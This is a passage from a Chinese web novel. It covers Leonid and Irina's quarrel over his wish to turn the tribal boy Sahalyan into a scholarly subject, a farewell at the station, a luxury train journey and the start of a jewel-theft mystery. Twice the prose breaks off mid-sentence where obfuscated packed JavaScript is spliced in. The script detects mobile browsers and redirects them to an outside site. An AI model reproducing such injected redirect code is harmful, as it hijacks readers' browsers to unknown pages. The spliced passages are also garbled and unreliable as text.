“这件事我也是刚刚才知道,现在想想,早上我还是应该拦住你们的。”皮埃尔管家好像轻轻叹了口气。 “还有个好消息,神父将老妇人送去矿山下的村落了,不再追究。我派人去给她买了生活必需品,至少这件事你们不用再担心了。”管家看他们没回应,又笑着说道:“镇子里的猎人打了些野味,我吩咐后厨已经准备好,还有少爷和大小姐喜欢吃的菜。” “皮埃尔,我想让你帮我个忙。”正当管家准备离开时,里奥尼德突然想到了什么。 “什么忙,您说?”皮埃尔管家微微弯腰,询问着伊琳娜。 “您需要帮那名部族少年准备一张身份证明,不然我们进城会有麻烦。他叫萨哈良,来自白鹿镇。”里奥尼德想起了先前萨哈良遇到的麻烦。 管家点点头,说道:“没问题的,晚餐后我会准备好。” 说完,皮埃尔管家便退下照顾客人了。 里奥尼德和伊琳娜坐在镜廊的茶桌前,两人都思考着各自的事情,谁也没说话。夕阳透过那些高大的落地窗,洒进地面光亮的大理石砖上,天色渐渐变暗,墙面那无数面镜子也映照着远方那茂密的树林。 “伊琳,我有话想说。”里奥尼德看着伊琳娜,她正低头翻看本子上记录的辩论细节,有时候还在旁边做上标记,也许是在为小说采风。 伊琳娜头也没抬,她的声音里有些疲惫:“嗯?怎么了?” 里奥缓缓开口,声音有些试图克制的平静:“我......想清楚了一些事。”他从衣服内侧掏出写满字迹的纸,伊琳娜还有印象,应该是先前在庄园客房那一夜写的。 纸上的标题是:《论帝国远东边疆原住民萨满文化的流变、价值及其吸纳可行性初探》。 “这就是我的论文选题,经过对鹿角妖传说流变过程的认识,我有了新的理解。”里奥尼德的眼神变得锐利而专注,仿佛找到了一个足以倾注所有精力的目标。“我回忆着和萨哈良度过的时光,他就是活着的证据。他的部族,他所信仰的那位鹿神,根本不是愚昧的迷信,而是一种......” 这几日以来的挫折并未让他停下,里奥尼德此时又回到在收藏室时,在萨满仪式结束,在枪击庄园管家后对萨哈良那种狂热的执迷。 “一种值得被记录、被研究、最终被吸纳进帝国文化体系的古老智慧。我要保护他,给他一个合法身份,不止是证明,而是学者身份。他将成为这项研究的核心,他将得到在首都最好的生活和教育。” 伊琳娜愣住了,里奥尼德的话让她有些莫名的恼火,但她还是低声说:“我知道你一直以来都喜欢那部族的少年,但,这样是不是有些太傲慢了?” 里奥尼德没想到伊琳娜会是这种反应,他有些失落。 伊琳娜同样没想到里奥尼德思考的完全是另一条路,这条看似慷慨的路,却充满了将萨哈良从他自身文化中剥离、并将其置于帝国审视下的风险。 “这些天过去,你也看到帝国对于异教文化的态度。如果我不做些什么,让萨哈良和他的故事被帝国接纳或者吸收,他以后该怎么办?”里奥尼德试图给伊琳娜解释他的想法,但伊琳娜并不认同。 也许是因为教堂辩论的余波,伊琳娜有点压不住火气了:“我想问问你,你究竟是名人类学学者,还是军官?” “我觉得这应该......不冲突。”里奥执拗的认为,他可以给萨哈良更好更安全的生活。 “这么说吧,和神父辩论时你说的那些话,你究竟相信多少?”伊琳娜展开手中的笔记本,质问里奥尼德。 里奥尼德拿起茶壶,给他们都斟满茶水。 “那只是辩论,”里奥尼德笑着对伊琳娜说,但他的笑容有些生硬,“但我认为这套理论是有道理的,” “有道理?我的天啊,里奥,你有没有发觉你和伊瓦尔神父归根结底是一套逻辑?我承认,人的确应该通过自身的努力实现价值,可它不该是这么出现的。”伊琳娜真的有点生气了,她拿起茶杯啜饮试图让自己冷静下来。 “也许你是对的,但我和你一样,不认为神父有权力通过谎言欺骗那些民众。”里奥尼德注意到了伊琳娜的情绪,他开始试图给自己辩驳。 伊琳娜稍微平静了一点,她慢慢说:“里奥,我知道你出发点是好的。你认识从小带我学习的那名家庭教师,他出身于破落的小贵族,大学期间靠给我上课赚学费。” 伊琳娜闭上眼睛,回忆了一会,然后接着说:“他告诉我许多人的故事,许多不同境遇下挣扎的故事。这根本不是什么能够通过努力解决的问题,叶甫根尼医生最后怎么样了?帝国的问题根本不在他们身上,而是在于我们。” 里奥尼德从没想到会被伊琳娜误解,他还是在试图为自己解释:“我理解你说的话,但我觉得拯救他们是我们应该做的。” “拯救?你的意思是,你真的认为自己是超越平凡人的超人?”伊琳娜伸出手,轻轻揉着自己的眉头。 “也许我没法让你认同我想对萨哈良做的事情,但是我还是要强调,我和神父不一样,我讨厌他那样的人。” 一提起神父,伊琳娜更是生气:“正是因为你跟他太像了,所以你才讨厌他。你们俩辩论的那种感觉暧昧得像情侣吵架,明明说的都是同一套话也要争出个高下!” “伊琳,你为什么要这么说?人类学最注重的就是田野调查,为的就是能够代入进当地人的生活,试图让自己不傲慢......”里奥尼德深吸一口气,他看着伊琳娜说道:“我知道你要去新大陆了,所以才能把所有人都摆放在手术台上,看着旧世界的人苦苦挣扎!像是你地下室那些玻璃后面的标本!” “你在说什么怪话?你不是救世主,你要做的是引导、帮助,”伊琳娜拿起茶杯想喝口水,但是茶水却喝完了,只好又放了回去,“我相信你,但是你只能做好自己的事。我还是那句话,里奥,你该是名学者,而不是名军官。” 见里奥尼德没说话,伊琳娜语速极快,她必须要说出口:“借用你的观点,你的底色是面庞染上微醺的酒神狄奥尼索斯,是激情,是放纵,是像萨哈良那样戴上鲜血的面具,在月下舞动,去讴歌生命的狂喜!而不是四处征战,破坏又重铸秩序,想要扮演太阳一样炽热的日神阿波罗!试图走在违背自己意愿的路上,只会让你像伊卡洛斯一样,粘着蜡做的翅膀,飞到天空被太阳烤化,然后重重摔到地上。” 也许是感觉到自己言重了,伊琳娜放缓语气,接着说道:“萨哈良有他自己的选择,有他自己的来路,有他自己的去路。这不是你能决定的,至少你也应该问问他的意见。” “对不起,伊琳,刚才是我不好,我不该说那样的话。”里奥尼德一下子像泄了气的皮球,他瘫在了椅子上。 伊琳娜看着他,帮他的茶杯倒上红茶:“好啦,也怪我,没跟那个神父吵一架确实让我有点怒气。” “不,我觉得你说得对,是我太唐突了。”里奥盯着窗外的密林说道。 伊琳娜笑了出来,她说:“那你确实是有点唐突了。” 就在他们的气氛缓和的时候,镜廊入口的大门突然被敲响了,随后皮埃尔管家走到了他们跟前,说道: “大小姐,少爷,晚餐准备好了。” 公司庄园会客厅的豪华足以让人见证,何为融化的黄金般流动。大厅里弥漫的奢华,仿佛时间在这片遥远的土地上故意放慢了脚步,好让财富和权力从容地沉淀。远比里奥尼德在黑水城庄园更大的水晶吊灯从绘有神话故事的天花板上垂下,数千颗切割精美的水晶在白炽灯的映照下,将跳跃的光斑洒满整个空间。 墙壁被厚重的深红色丝绒帷幔覆盖,上面用金线绣着繁复的花纹。伊琳娜的索尔贝格家族历史并不如世袭贵族久远,墙壁上挂着几幅巨大的油画,大多是远东或帝国繁华地带的风景,它们写实、颜色更为浮夸,无不显示着商人的审美。 萨哈良和叶甫根尼正坐在会客厅旁的宽敞房间里,坐在松软的真皮沙发上聊天。 房间一侧的壁炉由于天气转暖,已经不再燃烧了,只剩下熏黑的炉膛。壁炉架上摆放着来自南方帝国的青花瓷瓶、象牙雕件,以及沉重的银质烛台,它们无不展示庄园主人视野所及的广阔地域和财富来源。 “医生,我想问问您今天那只老鼠为什么喝过朱砂水就死了?”萨哈良很好奇叶甫根尼的实验,在马车上时他看不清楚,只能听见他们说话。 叶甫根尼仰起头,斜靠在沙发上,对萨哈良说:“我是一名临床外科医生,说实话,医学是一门经验科学,和你们的巫医在这点是一样的,都是从经验得来的。只不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我喜欢这个医生,他脑子活分,知道随机应变。不像你们部族的人,都是些犟种。”鹿神在旁边抖了抖他的白色长袍,看着叶甫根尼,他很满意医生的机智。 就在叶甫根尼医生为萨哈良解释老鼠的时候,里奥尼德和伊琳娜走了进来。他看到里奥的眼睛有些红,气息也有些紊乱。 伊琳娜听见他们对于老鼠被毒死过程的讨论,她很惊讶萨哈良对于医学的好奇心,心中开始慢慢动摇,也许少年有机会的话,的确可以完成学业。 里奥尼德径直走到萨哈良面前,他好像还没从刚才的争吵缓过来,还有些控制不好自己说话的语气:“你和我一起走吗?” 他说这句话时的眼神,已经难掩内心对于理想的渴望,好像想让少年人生走向的经线,与自己过去画下的纬线,相互交缠、编织,共同构成帝国的未来,一个不再排斥异端文化,和睦相处的未来。 “咳。” 伊琳娜轻轻咳嗽了一声,提醒里奥尼德的话太过直接了。 “什......什么?我们走去哪儿?”萨哈良没理解里奥尼德的话。 鹿神好像察觉到什么危险了一样,他微微先前一步,站在了少年的前面。 里奥尼德意识到了自己的冒犯,他脸上又有了一点往日宽容的微笑:“不好意思,我有了一些关于黄鼠狼先生的情报,所以想问问你要不要和我一起去找他。” “真的吗?你知道他是谁了吗!”萨哈良对寻找其他部族的事仍然抱有极大的热心,听到里奥尼德这么说,他立刻竖起了耳朵。 刚才已经有些警惕的鹿神也凑了上去。 “皮埃尔管家和我说起过,所谓黄鼠狼先生是一名远东的商人,他曾放出消息,意图收集远东的各色文物和手工艺品,”里奥尼德拿出列车长给他的地图,在上面指出海滨城的位置, “原本我们的目的地就是这里,伊琳娜也会在这里离开远东。那边有远东最大的拍卖行和港口,各地的商人都会聚集在那里。” 里奥尼德认真的和萨哈良介绍着那里的情况,他真诚的眼神中透露出一丝期许。 萨哈良不敢独自决定,他看向鹿神。 “去,就去这。”鹿神很快就决定好了行程。 叶甫根尼刚才听见里奥尼德说起伊琳娜的事,他忍不住问道:“不好意思,我想问你们是打算离开远东?我听说海滨城应该都是国际船运的航线吧。” “是的,我要去新大陆。”伊琳娜和叶甫根尼说了自己的计划。 叶甫根尼对这个想法有些不理解,他问道:“为什么?去旅游吗?” “不,我不再回来了,”伊琳娜举起手中的本子,说,“我梦想成为一名作家,但是国内不允许女人出版文学。” “这倒是......我因为医学界的会议,去过好几次新大陆了,恐怕那里可能不是你想象的那样美好。”叶甫根尼佩服伊琳娜的决定。 伊琳娜笑了出来,她说:“再差不会比帝国更差了吧?” “那倒是。”叶甫根尼也苦涩的笑了。 “对了医生,我觉得......你要不别在镜镇住了,感觉会有危险。”里奥尼德想起今天神父的威胁,说不定他走后就会报复回来。 叶甫根尼看着远方在夜幕中灯光点点的小镇,说:“唉,其实我也这么想的,但大概还会呆几天,有几个病人还没治好。” 里奥尼德又对医生说,他看出来医生还惦记着这些事:“不过管家告诉我们了,神父把玛利亚老妇人放了,搬到山下的村子里。管家帮她准备好生活必需品,有他盯着应该没什么问题了。” “那就好,等下我一定要好好谢谢管家。”听到这些话,叶甫根尼才感觉放心了。 管家为他们准备的晚宴要比先前黑水城的丰盛不少,轻盈透亮的水晶酒杯、数不清的刀叉匙、多层烛台、巨大的餐盘,全都刻有繁复的纹饰,几乎每一件都沉得需要费些力气才能拿起。 它们与晶莹剔透的水晶杯碟、来自东方的高级瓷器交错陈列,在烛光下形成一片令人目眩的奢侈。 空气中混杂着令人愉悦的浓郁香气,有烤肉的焦香、松露的异香、新鲜烤面包的麦香、浓郁肉汤的热气、以及从银制香料瓶里洒出的异国香料味道。 这里的仆人不仅衣着整齐,如同经过编排的演员,无声地穿梭于餐桌与宾客之间。他们捧着巨大的银盘,上面是整只的烤乳猪、填满了远东山珍的禽类、堆叠如小山般的鱼子酱、以及从黑水河捕获的鲟鱼。 也许是为了给伊琳娜践行,皮埃尔拿出了他所能准备的最高规格。在觥筹交错之间,他们慢慢忘记了过去的烦恼,只剩下对即将开始未知旅途的迷茫。 45.前往世界尽头的列车 随着被反抗势力破坏的铁路逐渐恢复,镜镇积压多日的商品也得以送到车站,等待货运火车将它们运往各地。 与镜镇的教堂广场不同,火车站附近的房屋都被煤灰染得黑漆漆的,像被火烧过一般。空气里永远是焦炭刺鼻的气味,粗糙的砖房和木质棚屋沿着铁轨两侧蔓延开去,屋顶上长着干枯的瓦松与杂草。而此刻,这座逐渐苏醒的平静小镇,被一声尖锐的汽笛声撕裂。 昨日的庄园晚宴没有持续太久,这几天接连不断的突发事件让大家身心俱疲。皮埃尔管家派马车将叶甫根尼医生送回诊所,其余人则是在庄园的客房中沉沉睡去。 第二天一早,管家就亲自驾车,带他们到火车站等车了。 “大小姐,我听说新大陆是个没有文化和历史和粗俗国家,没有帝国这么璀璨的文学艺术成就,您到那边......会不会不适应?” 他们坐在马车上等火车进站,皮埃尔还在尝试劝伊琳娜留在帝国。 伊琳娜看出了管家的想法,她只是微笑着告诉他:“这有什么?成就也与我无关,我不想仅仅做个看客。更何况比起里奥尼德他家,我们家族不也一样没有文化和历史?看看父亲在会客厅里挂的那些土得掉渣的画,看着都令人绝望。” “其实,我觉得我家那些祖先肖像也没好哪儿去,都是些老东西,画家竭尽全力描摹他们的皱纹和白发,感觉都能闻见老人身上的味道了。”里奥尼德和萨哈良在旁边玩一种名为“抓羊拐”的游戏,那是萨哈良在昨天晚宴时,从烤羊腿拆下的骨头。 他们把三枚骨头摆在桌子上,拿皮袋子充当沙包。玩法是:先将皮袋扔起来,然后报上数目,瞬间抓取桌面上相应数量的羊膝骨,再接住落下的皮袋。萨哈良玩这个很是在行,当里奥尼德还没能抓到骨头时,少年已经能让骨头在手心摆出形状了。 “你又输了!”萨哈良笑着对里奥尼德说,他把骨头洒在桌子上,等着里奥抓。 当里奥尼德高高抛起皮袋子时,伊琳娜一把从空中接了过来,说:“你家那些肖像画至少还是巴洛克风格的名家作品,我父亲选取艺术品只关心值不值钱。” “而且,大小姐,我听说那边的人贪财贪得要命,街上肮脏混乱,人人嗜吸烟草。”皮埃尔管家还是没死心,他继续数落着新大陆。 伊琳娜拆开皮袋子,看了看里面填充的是从马槽中找来的燕麦,又扔给萨哈良,接着说道:“喜欢吸烟?这是好事啊,我也喜欢吸。” “大小姐,您怎么......您怎么学会这种坏毛病了......”皮埃尔管家露出痛心的表情,他没想到从小看着长大的大小姐竟然也像粗俗的男人一样。 “好了好了,知道你想劝我。别劝了没用的,以后多发展一些新大陆的业务,让老爷派你出差,就能看见我了。”伊琳娜安慰着皮埃尔管家,他看起来苍老了许多,鬓角已经染上雪白。 “我听说皇帝陛下曾经下达过戒烟令,但收效甚微,”里奥尼德再次扔起皮袋子,他终于能一把抓起三枚骨头,然后接住皮袋,“因为他一天能抽几十根,宫里整日烟雾缭绕。当然,我也是听说的。” 伊琳娜得意的看着管家:“你看,像他那样的圣人都控制不住,更何况我了。” 萨哈良有些好奇他们口中的皇帝陛下究竟是个什么样的人:“伊琳娜姐姐,你们一直提到的那个皇帝陛下,是个怎么样的人?” “这个问题……我觉得你还是应该问问里奥尼德,他比我要了解一些,”伊琳娜看向里奥尼德,“喂,别玩了,萨哈良有问题。” 里奥尼德放下手里的骨头,把手凑近鼻子前,还能闻见一股羊膻味:“这个嘛......你是对皇帝本身,或者说这个位子感兴趣,还是对皇帝本人感兴趣?” “这两个有什么区别吗?”萨哈良还以为皇帝是人名。 “有的,如果说皇帝本身,你可以理解成......帝国的化身。他的合法性来自于二百年前,国家遭遇外敌入侵,皇帝家族的先祖率领民兵将敌人驱赶出首都,”里奥尼德思考着,用手帕不停的擦拭手指,想去掉上面的羊膻味,“至于他本人嘛......这我倒是不太清楚,只感觉他想要恢复帝国往日荣光......做个中兴之主。” 萨哈良看向鹿神,里奥描述的皇帝和部族信仰鹿神的原因有异曲同工之妙。 “少爷,您......”皮埃尔管家示意里奥尼德提及皇帝的时候,要压低声量。 “伊琳,把你的香水借我用用,”里奥尼德拿着香水,喷到手指上,试图去除那股浓烈的气味,“我听说他在年轻时曾经出访远东各国,这也是后来与东瀛人冲突不断的原因。” “为什么?”萨哈良慢慢发现,除了部族所在的山脉,他对这片辽阔土地的了解像是一名牙牙学语的孩童。 里奥尼德这次知道小点声了,他凑到萨哈良的身边,阳光透过车窗晒到少年的身上,还能看见耳朵上细微的绒毛。 “据说,他出访东瀛时曾经遭当地人暗杀,身上挨了一刀。” “呜!呜!” 就在他们说话时,火车缓慢进站,拉响了汽笛,提醒月台上的旅客准备上车。 那声音不像货运火车那样沉闷粗哑,而是高亢又响亮,仅仅凭借汽笛的声音也能知道这是一班时常保养的豪华列车。站台上搬运货物的工人们停下了脚步,循声望去。那些躲藏在月台附近棚屋里的小贩也蠢蠢欲动,等待向车上的客人推销商品。 列车缓缓停下,皮埃尔管家提着行李,仆从牵着萨哈良的马匹紧跟其后,带他们穿梭于人流之中。 “小姐,美丽的小姐,来一把小手镜吧!就算远在首都也闻名的镜镇出品!”油腔滑调的小贩提着箱子靠了过来,那里面光亮的镜子折射出了每一个人的脸,显得滑稽而可笑,“看这优雅的卷草花纹,和您的美貌正相配!放在手包里,随时能拿出来补妆——” 伊琳娜只想赶快登上火车,她摆了摆手:“不,不必了。” “糖!糖果要不要?我这里有新麦熬制的麦芽糖,有添加进浆果汁的水果硬糖,甚至还有地中海风味的软糖!洒满了糖霜!”卖糖果的妇人一把就将手中的水果硬糖塞进了萨哈良的手里。 萨哈良还以为她是要给自己,便朝那妇人点了点头,害羞的笑了笑就准备继续走了。 “萨哈良,你是不是没给钱?”鹿神看着萨哈良手里五颜六色的糖果,望向刚才那个妇人。 “等等,您还没给钱呢!”卖糖果的妇人愣了一会,随后立即就追了上来。 里奥尼德这才发现萨哈良的手里抓了一把糖果,他还正被推销各种土特产的小贩们紧紧围住,许多拿着各式商品的手恨不得捅到他脸上,动弹不得。 “给你!”里奥朝那老妇人扔过去一枚银币,然后拉住萨哈良的手,将他从重重包围中拽了出来。 很快,那些达官贵人从列车上下来。有些照顾他人感受的乘客,趁着旅途的间歇到车外吞云吐雾,有些人则是想呼吸一口新鲜空气,但很快就被月台上的烟味、镜镇特有的焦炭味和车外那些一拥而上的小贩赶回了车上。 萨哈良看着这辆擦得干干净净的火车,它的客厢涂上了群青色的油漆,和其他那些漆黑的车厢做出区分。 就算隔着车窗也能看见车内的空间流光溢彩,那些优质木材制成的内饰油润富有光泽,与天鹅绒的窗帘相得益彰。餐车里的大厨们正在精心准备着午餐,他们洁白的厨师服与月台上那些脏兮兮的小贩形成了鲜明的对比。 “你好,这位是索尔贝格家的大小姐。”皮埃尔管家向乘务员报上身份,那人恭恭敬敬的向管家点头致敬。 乘务员转过头,向他们微微欠身,说:“欢迎尊贵的客人们乘坐女皇号豪华旅行专列,行李就交给我吧。” 说完,旁边待命的一名年轻的侍从伸手接过管家手中的大件行李,又牵过马,将它们一同送往货厢。 “大小姐,少爷,我只能送你们到这了。”皮埃尔管家将他们送到客厢的车门前,悄悄掏出手帕,擦拭着眼角。 伊琳娜知道,今后再想见到皮埃尔,就很难了。 里奥尼德也知道,当伊琳娜走后,他再也没有合适的理由去她家了。 “皮埃尔......我会拍许多新大陆的照片寄给你的......”伊琳娜已经难掩心中的不舍,随着第二声汽笛响起,她也不在乎什么贵族的矜持了,快步走上前抱住了皮埃尔。 这名来自遥远国度的管家,已经年近六十,却无儿无女。他将一生的时间都献给了他的老爷,和他的大小姐。如今看见伊琳娜即将远行,皮埃尔再也维持不住作为贵族管家的克制,他也张开双臂,颤抖的手轻轻拍了拍伊琳娜的后背。 “大小姐......您到那边要好好的,我给商会的人寄了信,让他们照顾您......” 里奥尼德看着他们道别,嘴唇也轻轻张开,像是想要说些什么,但最终还是作罢。 “我......刚才那个妇人给了我好多糖......”萨哈良看着他们因为离别而难过,把塞进衣兜的糖果递了过去。 “很甜!”伊琳娜剥开花花绿绿的糖纸,那是一颗野莓味道的水果糖。 里奥尼德咬着粘牙的麦芽糖,说道:“这让我想起了小时候,到远东玩,祖父和皮埃尔就喜欢给我们买糖吃,但是那时候还只有麦芽糖。” 皮埃尔管家望着火车头冒出的浓烟,感慨:“如今这里的样子日新月异,你们也长大了,”他最后掏出手帕,擦掉眼角的泪水,“走吧,火车要开了。” 当火车终于缓缓启动,他们透过车窗看见皮埃尔管家依然站在原地,他的身影在向着月台蔓延的蒸汽中渐渐模糊,但那个迟来拥抱的温暖,却清晰地留在伊琳娜的记忆里,即便在许多年后远在新大陆的土地上,也依然鲜活如初。 里奥尼德轻轻扶住伊琳娜的肩膀,他们一同走进了车厢。 “伊琳,我们是几号来着?”里奥尼德提着伊琳娜的小箱子,他们穿行在车厢之中。萨哈良和鹿神跟在后面,他们好奇的观察着四周。 这里与先前的军官车厢不同,内里的一切都是崭新的,似乎还带着木质的香味。内饰的胡桃木板油润而光亮,还尚未褪去火气,缺少经历时间沉淀的平和。天花板上的雕花与帝国最喜欢的新古典主义风格不同,使用了许多新艺术运动常见的纹饰。尽管仍然多是些植物花纹,但更多了异域色彩,线条简练。 就连那些铁制的行李架都镂雕出各种复杂的花纹,就连那些金属的把手插销都镀上铬,透着温润的光泽。车厢间隔的木门上则是雕花玻璃,那些几何的图案正折射着列车内温暖柔和的光。 只不过,鹿神白袍子上古朴的金色符咒看起来和这里格格不入。 当他们穿过餐车时,许多衣着精美整洁的绅士与贵妇人们正在准备用餐,从厨房车厢里隐隐约约飘来食物的香气。 “萨哈良,你饿不饿,我们要不要先吃饭?”里奥尼德突然停了下来。 少年这时候还在咬着麦芽糖,黏糊糊地粘住牙齿,让他说话有些模糊不清:“有......有点饿了。” 萨哈良来自山林的长相在此处并没有过多吸引其他旅客的注意,因为这里的服务生、乘务员也有许多同样类型的面孔。 “女士,先生们,需要我帮忙将行李送到客厢吗?”乘务员注意到他们的犹豫,他走过来微微欠身,礼貌而谦逊的询问着。 这时候,里奥尼德已经准备坐下了,他将行李箱递给乘务员:“可以,我们准备吃午餐。” “那请问您的车厢是几号呢?”乘务员轻轻接过行李,里面并不重,大多是些随身的物品,大件行李已经送往货厢了。 “伊琳,刚才我就问了,我们是几号来着?”里奥尼德小声对伊琳娜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340145|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着,因为她刚才还沉浸在送别皮埃尔管家的难过之中。 “九号,应该是。”伊琳娜也有点记不清了,好像大概是这个数。 乘务员示意服务生过来,随后服务生便带着行李前往客厢了。 “您好,这是菜单。”乘务员恭敬的递过餐单,那淡黄色的硬卡纸上也同样是新艺术风格的纹样,还有神话中优雅的女神和天使点缀其中。 伊琳娜瞥了一眼餐单,她对里奥尼德说:“你们看吧,记得帮萨哈良点一些新鲜的,先前在庄园里没吃过的那种。” 和镜镇的小餐馆不同,餐单上的食物以套餐的形式出现,大致包括了餐前冷盘、主菜、汤、主食和餐后甜点,以及各式饮料。 比起这些食物,伊琳娜更对车内独特的装饰风格感兴趣。 里奥尼德将餐单递给了萨哈良,乘务员正为他介绍着列车上的食物:“如果您喜欢尝试新鲜感的话,可以试试这道‘远东之旅’套餐,”乘务员指着在餐单上小天使图案旁边的那些菜式说,“其中冷盘是欧洲进口的上品鹅肝,主菜则是远东深海捕捞的帝王蟹,甜品稍后您可以自由选择,这个套餐串联了欧洲-远东旅途中独特的味道,广受食客欢迎。” 萨哈良已经逐渐理解一枚银币的份量,就在他犹豫着会不会太贵时,里奥尼德说话了:“行,就要这个。” “好的,请您稍等片刻。”说罢,乘务员将餐标交给服务生,送到了后厨手中。 “帝王蟹很大的,我们三个人吃得完吗?”伊琳娜小时候跟随父亲去过许多商人的宴会,早就品尝过这种珍馐了。 “没问题,萨哈良很能吃的。”里奥尼德看向萨哈良,但是少年正在看着不远处坐着的一位绅士,他手中拿着一本画册,上面多是些精美繁复的装饰花纹。 就在他们等待着上菜时,列车长用白色毛巾包裹着一瓶香槟酒,走到他们桌前。 “女士,先生们,欢迎乘坐女皇号列车。我是这班的列车长,需要倒一点香槟吗?”列车长微微欠身,他平整的制服一尘不染。 就在倒酒时,伊琳娜向他询问:“列车长,请问您可以为我们介绍这班列车的来历吗?” “当然可以,”列车长微笑着,“这是刚刚运行两年的旅行专列,建立之初是为了对标横跨欧洲的东方列车,同时为了纪念女皇诞辰。” 他将酒瓶轻轻放倒,金色的酒液伴随着绵密的气泡,流进透亮的水晶高脚杯中:“现在远东铁路上一共有五辆在运行,尤其是为了下个月庆祝皇帝陛下亲临远东,还有一辆专列正在准备中。” 列车长注意到伊琳娜常常看向车厢里独特的装饰,说道:“这班列车的内饰也同样借鉴了东方列车的风格,使用了大量的新艺术风格纹样,因此要比其他的豪华列车看起来更加时髦。” 伊琳娜点了点头,列车长很快又注意到了萨哈良。也许是因为部族民看起来比这些罗刹人长得显小,他特意少倒了些酒:“不好意思,我有个冒昧的问题,请问您是原住民吗?” “呃......”萨哈良愣住了,不知道该如何回答。 “怎么了?”里奥尼德也不知道对方是何用意,只好用锐利的目光盯着列车长。 列车长抱歉地笑了笑,说:“您别误会,我有礼品送给您,”他朝着服务生摆摆手,“虽然皇帝陛下亲自颁发了要求优待原住民的政令,不过这是我私人的行为,因为我对原住民的文化非常感兴趣。” 话音刚落,服务生就将盛在银制器皿中的冰淇淋端了上来,速度之快仿佛是列车长早就注意到少年了一样。服务生将透明的酒液倒在冰淇淋上,随后点燃。蓝色的火焰如同在雪山上燃烧,底下的白巧克力又像是冰湖上的裂纹,火焰倾泻而下,在银盘中跃动。 “哇......”萨哈良还从未见过食物可以如此美丽,他惊讶的张大了嘴。 列车长很满意部族少年的反应,他轻轻点头,随后去接待下一位客人了。 鹿神看着正开心的用勺子挖着冰淇淋的萨哈良,原本想说他可能是被列车长当成小孩子了,但想了想还是算了。 尽管车厢里厨师的水平远远比不上公司庄园,但那些选品优良的食材很好的弥补了这一点。精选的鹅肝入口如同冰淇淋般丝滑,又带着独特的油脂香气。硕大的帝王蟹腿甘美异常,又带着海洋独有的咸鲜,蟹黄则是搭配着黄油和复杂的香料制成酱,抹在烤制的面包片上。至于甜品,更是让人目不暇接。 “怎么样,今天的午餐还可以吗?”站在客厢的门口,里奥尼德问萨哈良。吃完午餐后,他们已经感觉昏昏欲睡了,于是准备去小憩一会儿。 萨哈良还在回味着螃蟹的腿肉,那来自深海的鲜美让他难忘:“太好吃了,有点期待晚餐会有些什么了。” 里奥尼德笑着推开了自己包厢的门,说:“那让我们晚上试试看,我就在你旁边的包厢,有事记得喊我。” 少年躺在包厢里柔软的床铺上,看着鹿神在研究墙上那盏贝壳形状的壁灯。皮埃尔管家为他们准备的是头等车厢,每个人都可以拥有自己独处的房间。但毕竟是列车,空间不会太大,可望着窗外渐次经过的群山,萨哈良感到了极大的安全感。 “我觉得,他们好像很喜欢把自己的家搬着走。”这样的生活是萨哈良先前难以想象的,他已经习惯了在野外风餐露宿。 鹿神靠在车窗玻璃前,打量着远方的森林说道:“确实,不过你也带着能搭起帐篷的毛毯,更何况有我在旁边,你也不会被冻到。” “你说得对,的确很暖和。”萨哈良感觉自己的头正在被软和的鹅毛枕头包围,上面冰凉的织物混合着洗衣粉的香气,让燥热的头脑很快就陷入无梦的睡眠。 但就当火车咯噔咯噔的碾过铁轨的连接处时,包厢的门被敲响了。 “不好意思,打扰您了。列车发生了贵重物品失窃,我们可能需要问您一些问题。” 46.远东快车失窃案 列车一刻不停的朝着东南方向的海滨城进发,等到穿过群山间茂密的树林时,已经是满目盎然的绿意。 当汽笛响起,停留在铁轨边缘的驯鹿群纷纷抬起头颅好奇张望,当看到火车漆黑的身形和浓烈的蒸汽,像云雾一般,也不得不四散而逃,惊起了密林边寻觅食物的鸟群。 桌上的茶具时不时随着火车的颠簸而发出清脆的声响,但对于劳累的旅者,那也只是在叩动梦境的门扉。 萨哈良在半梦半醒间,仿佛听见隔壁的房门被敲响了,没过一会里奥尼德的声音就出现在了门外。 “怎么了?”里奥尼德刚刚和衣躺下,听到有人敲门,他连忙系好脖领的扣子,走了出来。 站在门外的是刚才帮他们搬行李的乘务员,他神情慌张,有些着急地说:“不好意思,打扰您休息了。列车上发生了一起失窃案,可能需要询问您一些问题。” 里奥尼德知道他们想问什么,便从衬衣口袋里掏出了自己的军官证,递给了乘务员。 就在乘务员查验他的身份证明时,列车长也急匆匆的来到了客厢。 “不必检查九号车厢了,这位先生和他同行的人们刚才在餐车,我可以为他们提供不在场证明。”列车长看见了乘务员手中的军官证,他恭敬的向里奥尼德点头示意。 乘务员听见列车长的话,将军官证递还给里奥尼德,在表示歉意之后,他继续去查验其他车厢了。 “是什么东西丢了?”里奥尼德抬头询问列车长。 “嗯......伯爵夫人的首饰丢了,我们怀疑有人进入了她的包厢。”列车长相信军官的品格,将情况详细告诉了他。 里奥尼德捂住嘴,打了个哈欠:“那你们打算怎么处理?” “其实......”列车长的犹豫了一会,像是有话要说,“您刚才也看见乘务员说话时的状态了,因为列车上多是些达官贵人,在调查时难免有人......不配合。” “不能在下一站时交给警察处理吗?”里奥尼德揉了揉眼睛,说道。 “是这样的,那毕竟是伯爵夫人......如果是因为列车安保问题出的盗窃案,恐怕......”列车长仿佛有什么难言之隐。 里奥尼德被他犹犹豫豫的说话态度搞得有些急了,他直接向列车长提问:“您是不是有什么话想说?可以直接和我说。” “我刚才看到了您的军官证,如果您可以协助我们调查,询问车厢上的乘客......他们无法拒绝帝国的军人,可能效率会更高。”列车长恭敬地微微低下了头。 听到他们的说话声,刚要睡着的伊琳娜也披上外衣,走了出来。 “里奥,怎么了?” 里奥尼德伸出手,示意列车长解释清楚情况。 